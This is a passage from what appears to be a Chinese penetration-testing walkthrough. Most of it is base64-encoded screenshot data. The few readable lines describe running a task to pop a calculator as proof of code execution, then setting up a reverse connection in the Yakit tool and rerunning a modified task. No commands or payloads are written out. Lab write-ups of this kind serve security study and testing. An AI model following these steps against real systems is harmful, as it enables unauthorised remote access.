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 truncated
|
||||
<p blockindex=115>紧接着运行任务1</p>
|
||||
<p blockindex=116><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABFsAAAGhCAYAAAC+kbvQAAAgAElEQVR4nOzde1jUZf7/8acnMHVcFUhDVtfSQElFSyMxWTUMFbd0TTI7atrqVpharlu2fWt33dZDUm5uGNpWZppprmTmcSVx8VDisWG1LH5IGmDkmMkg8vtjZmAYZoYBBwfw9biurnTmc7hnmJH5vOZ9v+8GFy5cKKGOO3uuiJYtmvh6GD5xNT/2+kw/1/pFP0/xlbPniggKaOHrYVyVcvPP6X0vIiJyFWvwfZ6pzoctIiIi4pzCFt/IzT/n6yGIiIiIDzUoKSlR2CIiIiIiIiIi4iUNfT0AEREREREREZH6RGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwRqUF5u1aQlJREitHXI5GrjjGFpA1uXni5aaxISnK/jYiIiIiIVEtjXw9ApP7KI/NbExBM57DqHsNISlIqpptGMbZfoPWmFJJScwgeMIk463Hzdq1gzWEDAybF4e5Uxg1JpGYbCB85lqigqt8vtUUeaSvWcMRkf1twuZ9/3hkTZKeSYgwrfZ2Uk/8DJiD4+mq/OL3KuCGJ1B/DGTU2ikBfD0ZERERE5DIpbKmvjCkkpZpcXDRbL9R+MYBJwyq70LJc7OdUdxyGK3/xZAkeTB6cu5i8w2nsOxNAZP9wWnm7zis3kywTENLZbQByxRhTSM2G4AGughQjx7PBcFOMghYfKX3tVspA+MhJTCr3c8ojLxew3hbYbywDCpJITU3BGFYxhDN+nUNVgkDnY7MGc/mWALAy9gGh47FTs8EQEuDZYEREREREajnfhi0ZiwmNX1jh5qAukdzQoxtD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 truncated
|
||||
<p blockindex=117>接下来弹个计算机</p>
|
||||
<p blockindex=118>yakit开个反连,配置一下</p>
|
||||
<p blockindex=119><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAIOCAYAAABZIBDJAAAgAElEQVR4nOzde1yU9533/xei4oqCNhAPRbFhEaFWIXULDTYksdKEiCZbE2JsamtzUBtX70Jr8nM3TbK/3K0r7MqaimtbUzdVY6U1iLpZrKmkksAjbkRjIMjSiCGesImAGEeFuf+4ZmAO1xw4ycH3s488CnOdvnPBzOD1vj6fb8D5C01WRKTPCb9lRG8PQbpJ/V8v9fYQRERERERERERERETkJhFgtVoVAEufZbFYensIIiIiIiIiIiIiIiIiIv3GoN4egIiIiIiIiIiIiIiIiIiIdA8FwCIiIiIiIiIiIiIiIiIiA4QCYBERERERERERERERERGRAUIBsIiIiIiIiIiIiIiIiIjIAKEAWERERERERERERERERERkgFAALCIiIiIiIiIiIiIiIiIyQCgAFhEREREREREREREREREZIBQAi4iIiIiIiIiIiIiIiIgMEAqARUREREREREREREREREQGCAXA0mfV//VSbw9BREREREREREREREREpF9RACwiIiIiIiIiIiIiIiIiMkAM7srGlrf/0+2xQSFjGTI1tSu7FekRjY3NAISEBPfySERERERERERERERERER6RqcD4CtvZHPt+H+bLrv6zqv8zcPZDAod0+mBGcppzv4xrfZvI9cy8qF44CyXf5nPoCeeZpjrsd9cgeWv37etZ+Ysl3/5GC0N7Y8E3P4qI8LyaSoqMN8kdDlBT8xlqMnYSN1P8DT/ns3VN1dgea/CZN9f47rLmNrGdc9Y/3YuPr1d9j4A985O6uWRiIiIiIiIiIiIiIiIiPSMTgfAnsJfgNaGs3z+uyw/QmCXgNfNPIZk7ce9XnMsg6OqsewsZ5hT0HuW6zUVDEr0FP62G2QLbq/snM11+4NmQe+xl2kqc9/+yk7buItm01Tk4SBtgbWHx1z2PcghTHYalxftoXIcgd/JZbhjXnzsZZrKJrY/p7O7ufTb9Vg9jc0Px45X09BwiW8kJ3hd788lRwB8riciIiIiIiIiIiIiIiIi3adLLaC98T8ENgku/TD0nme5/svHaD62n8Cq2VyrdVjoIZQd1IFqXburF6ph1EynUPjKTvvx5jEky0MV8nsQ+A2TgLX2xzRlO3wfurzty1aXcQfc4ucg3cJch2DdYf+MncuIrLm2Kmk/9+2ioeESfy4pp6GxmTn3zTRdZ+tr/0XtqbNM+0p05w4iIiIiIiIiIiIiIiIiIp3SYwEwtIfAwU+82gN7H8vwxHk0VZUT/NB+hmGrmr3Fv7bJjmGra9Dq3Ko5jsDvtIerV3bO5hprGZkVb6yXvYLWtgDb3l7aS6jdzRXA7s5y+Zc/xnr7q4wMyzetXu6KaVONUPfPJeUAbiGwPfyNnDjWY0AsIiIiIiIiIiIiIiIiIj2jRwNgMELglo+PEjhhuoc1Kmj57Wya/NiXWwXvtKcZaf/+7G6u185j8ENjsQex1kTPFb+mLaBtht6Ty9B7TDY69jLXb3mVkbaAeeg9uQwNe5kmh/EH3N6+3NXQe3Kd20tPe5qRt+7mUnY+g7P2M8xWuWu9/VVGPLTf26nwYizDn7Bte6yTu/AiNHSExxDYMfxd+Mh93X9wEREREREREREREREREfGqxwNggNaGcwRO8LTUqJYd9Gcv1bvHXqapCAIdqmONFsztlbZX/rwebn/VrR1zhzSsx5K9HovbAlur52lPM6LtMfP5i63vPUbTeyatoY+9TFNRgcdDX8su4Jr9m/ceo+k929ednKu3J5mFwA0NTQp/RURERERERERERERERHpZlwPg4RnZptW9rQ3nuPLGWlo+PurXfobFzKOpKJ8r97jOqXuWy2UFBDiEu8MeslfLvmJ7pJyWWrDWOgSn4DIXsB9zDYfOYxAF4Fg5fOxlmsomMqitvbN95XkMydpPsNl+zu7mUrZDVXPkWkY+9DQjpz3tsJItQA5dTlA6XP3teqx9MOz1xCwE7ivh79ul79PY1Oz2eF3dOQDe2F9qut0diV8hJMT0JyoiIiIiIiIiIiIiIiLSL3Q5APZe3dsB055mSNVsru2cyTCHEPTqmz+jheUEeZ3XN57gLMeWyb5bQJvPATyRwKg4rlWVwzRjDFeqCgiIepWhjGXoEyZtmW0BcdATc9vbO4+dy4isuU6rtVct2zkHyEOz5hr7yv6x8/4j1zLyIVyqjU0qjHtBaOgITn181uH7kb04GkNjY7Np+CsiIiIiIiIiIiIiIiJyM+hyAHzljbVceWNt5zY+ewor0QTast1hD62lJfvHNO20VcIeexnLe9EMyZrrPHduN/A0B/Cge77PoOxXuHw2l+HnX+Za7TyGPNQePrsHuQbT1tEOFb3DHtrPoDdXYHmvwrawwGj7HLqcoCe+xnWn6mJDwO3tLbGdA+6+wXHO34kTxrrNCdwbQkKCuXd2kukye+Wvp+UiIiIiIiIiIiIiIiIi/V2XA+BBoZ4rc1sbznpcBsD5U1gjZzpUssYTnLWW5uwf05QN/la6egplnVtAYwtkvVUS28aQGk1T4QouNVQwKHW/0/GN9tN2niuNr765gquYHMuxzfOxl2kqa19kD6Xtz+m6+9Z9hmP4u/CR+2houATQJ0JgERERERERERERERERkZtVlwPg4Cde9bjs8o4sL3MA2+b2jZrvZe8FXH9zPnht/+waytr27bEFdDnWhjgCbvWyw1snEtBQgDV0OUM9tJAGuLLzMaM9tck6rX+tgFvcHx8IXMNfMJ8TWCGwiIiIiIiIiIiIiIiIyI3V5QDY8vZ/MnjCdNNl1sZznjc8lk9LwzyG2MPds7u59Nv1WDEqYUdOAyinOfsxmt5zro69+uYKLO9BYOosWn+7gsvfyWW4r8LetuMeojV0FkGe1reNIyB1P0MvrMCSfYDrrvs/9jJNRQVGNe8T8WY7ofUiBMSYHKTWXt1sE7q87ctWl4rlgD4YIO/5r0Nu4a+dQmARERERERERERERERGR3tXlAPjq269yFc9VwJ5cqSow2ivbw1TmMSTLtZI3vm3u2ys7beFo5FqGAIH2UHbaRJqzZ9NkdhCTFtBDKGBQ4n54cwVNtvl4B9mD2ob1WH4bR+B39tsC31yG3lNu7D90OUGJp7DYg9+sp52fj2sb6lDzyuAb2gJ62tO2IL37hIYE843keL6RnGC+3CEEDg0d0b0HFxERERERERERERERERGvAqxWq7UzG155I5trx//br3VH2kJc6X5GNXQFENceinviUGXtFET3UfV/vUTIiCHdtr839pcCcO/spG7bp4iIiIiIiIiIiIiIiEhf0ukAuLXhHC0fH6W18azX9YLu+G6nBibS3QFwY2MzISHB3bY/ERERERERERERERERkb6m0wGwSE/r7gBYREREREREREREREREZKAb1NsDEBERERERERERERERERGR7qEKYOnTLBZLbw9BREREREREREREREREpN9QBbCIiIiIiIiIiIiIiIiIyAChAFhEREREREREREREREREZIBQACwiIiIiIiIiIiIiIiIiMkAoABYRERERERERERERERERGSAUAIuIiIiIiIiIiIiIiIiIDBAKgEVEREREREREREREREREBggFwCIiIiIiIiIiIiIiIiIiA4QCYBERERERERERERERERGRAWJwbw9AxJvGS9d6ewgiIiIiIiIiIiIiIiIi/UaA1Wq19vYgRERERERERERERERERESk69QCWkRERERERERERERERERkgFAALCIiIiIiIiIiIiIiIiIyQCgAFhEREREREREREREREREZIBQAi4iIiIiIiIiIiIiIiIgMEAqARUREREREREREREREREQGCAXAIiIiIiIiIiIiIiIiIiIDhAJgEREREREREREREREREZEBQgGwiIiIiIiIiIiIiIiIiMgAoQBYRERERERERERERERERGSAGNzdO2xpaeHKlStcv369u3ctIiIi/czgwYMZNmwYgYGBvT0UERERERERERERkZtCgNVqtXbnDpubmxkyZAhDhw7tzt2KiIhIP3T16lWuXbtGcHBwbw9FRERERERERERE5KbQ7S2gr1+/rvBXREREABg6dKi6goiIiIiIiIiIiIjcQJoDWERERERERERERERERERkgFAALCIiIiIiIiIiIiIiIiIyQCgAFhEREREREREREREREREZIBQAi4iIiIiIiIiIiIiIiIgMEAqARUREREREREREREREREQGCAXAIiIiIiIiIiIiIiIiIiIDhAJgEREREREREREREREREZEBQgGwiIiIiIiIiIiIiIiIiMgAMbi3ByAiIv778K/wzJtQdrq3RzIwJY6Hn98DU27xb/0P/wpL/8v4/4Fqyi2Qd5//50REREREREREREREeleA1Wq1ducOGxoaCA0N7c5dioiIzQM74YEY+N603h7JwPSbY/B6Fbz+kH/r3/3bgR3+2k25Bf70nc5vr78NRERERERERERERG4ctYAWEelHyk4r/O1J35vWserqmyH8hZvneYqIiIiIiIiIiIgMBAqARUREREREREREREREREQGCAXAIiIiIiIiIiIiIiIiIiIDhAJgEREREREREREREREREZEBQgGwiIiIiIiIiIiIiIiIiMgAoQBYRESkV7VgvVRLy+eWHtq/BeuntVivA63NtH5aj7W1hw4lIiIiIiIiIiIiIr1OAbCIiNxQh3fBuFfgfG8PpLdcb6DFKYQNID8zkvNPDO6hAw7mzy9E8udvAV8N5sQLYeyMraX1aksPHU9EREREREREREREelNPXW2WjirPIyZjHazYQdWy+Bt33LOFLE/JoujebEpy0wkzG9qGGDJyfezn3mx2zC4iI7PIfVnbc7pA4Ypkst7oxDg7eF7Ky8u5ePEitbW1XLx4EYBJkyYRGRlJfPwNPL8ivez8QZh+tIMbTYLine truncated
|
||||
<p blockindex=120>执行上边的步骤修改任务1,在运行任务1</p>
|
||||
<p blockindex=121><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3yU9Z3//dd1zSmTyeSckISQECDhEBAFVMAKUopgi7byay12W7s94P3b262t3V8XH7d9uL/lofvT7vZwt7e7XV3r1nqq7WKrVLGspWgFLIoHzmcSMAmQ82QymdN13X/MBHKYQKCBhPh+Psqjmeu6vtd8r7nC4GPe8/l8jQMHD9mIiIiIiIiIiIiIiIiIiMhlz/lXv3h7uOcgIheZOzNvuKcgIiIiIiIiIiIiIiIil4A53BMQEREREREREREREREREZGhoQBYRERERERERERERERERGSUUAAsIiIiIiIiIiIiIiIiIjJKKAAWERERERERERERERERERklFACLiIiIiIiIiIiIiIiIiIwSCoBFREREREREREREREREREYJBcAiIiIiIiIiIiIiIiIiIqOEAmARERERERERERERERERkVFCAbCIiIiIiIiIiIiIiIiIyCihAFhEREREREREREREREREZJRQACwiIiIiIiIiIiIiIiIiMkooABYRERERERERERERERERGSUUAIuIiIiIiIiIiIiIiIiIjBIKgEVERERERERERERERERERgnncE9ARERERERERERERERERD46XKEmmndvIVa3i+baw3S1nMKOdOIwIN3vJ6eoiEjGONLLp5NReTVWRsFwT/myogBYRERERERERERERERERC66gsABxjS9R7jmPT58excOM0Ks3cKM29iAL80k09WFO3CSxqNHaHzvD3hcLiqu/QSu6sVEi6cP9yVcFhQAi4iIiIiIiIiIiIiIiMhFM4YWrjP2UOY/xYedrewwDUwTQmGbdI9BOGJg2zZj8x2EIgamYeBymliWA8M0iR7bjePEQYqvvB7P/Ns52hYf7ksa0RQAi4iIiIiIiIiIiIiIiMhFkV+3hTHHNnAYOOpwYBgQsywsG2wDbBtME/xuJwVpbmLpmRTm5jGn0snBupPsr2/CsIJEI2Ha9v+ZOVkWbVTQUnrtcF/aiOUYe8Pn/vdwT0JELi6HJ324pyAiIiIiIiIiIiIiIh8x4469StmpzTidBqbDwDBssCESiXK49iTBUIxY1CbX5+LqMi9ew0n1hIk4XF6MSCt3f/kmAu1NBDpbCcWiRCIRTtXXU2414rQidGRPGO5LHJHM4Z6AiIiIiIiIiIiIiIiIiIwuY2tepujUNkzTBAxsG2w78f8ADqeBw2HgcTtYMC2PK8c5yM1w4jQMMl02k0uLcVlw88wSppfkEIs76QhGCXVFyPSnc433FLPCHwzrNY5UCoBFREREREREREREREREZMikH9pI4ck/g2FimAaGYRCJxIhGY4QjEbrCYZxOA4/HoCDXQ3G2C4czjUgM2lpOUpDhompiOccO7CXSdoJMl00satMVjhOPQ6Y/g7Fji7lpXJzZng+H+3JHHK0BPAz+6su3cneF69wHxuIEOoPs2LWbf361lrqLP7WUShYt5pcL83ADkZNHuOdft/H2OcbMuXkZP5ydiRsIHHqfT7RX8NZVmdB1kh8/9EeevgTzFhEREREREREREZHeKicUMd4ZZuf+FuqH4HyzFs7i25V+itNNju7Yytc2hs45ZvVfL2Z5LnQcO8BNv6pNbBzjp/JEgAPAys8t5K5xTiDIuh9s5WGgeFwOGcdaODAEcx4uxeMKme6NntdrX7x0Ls9P9tIRamPdy9t55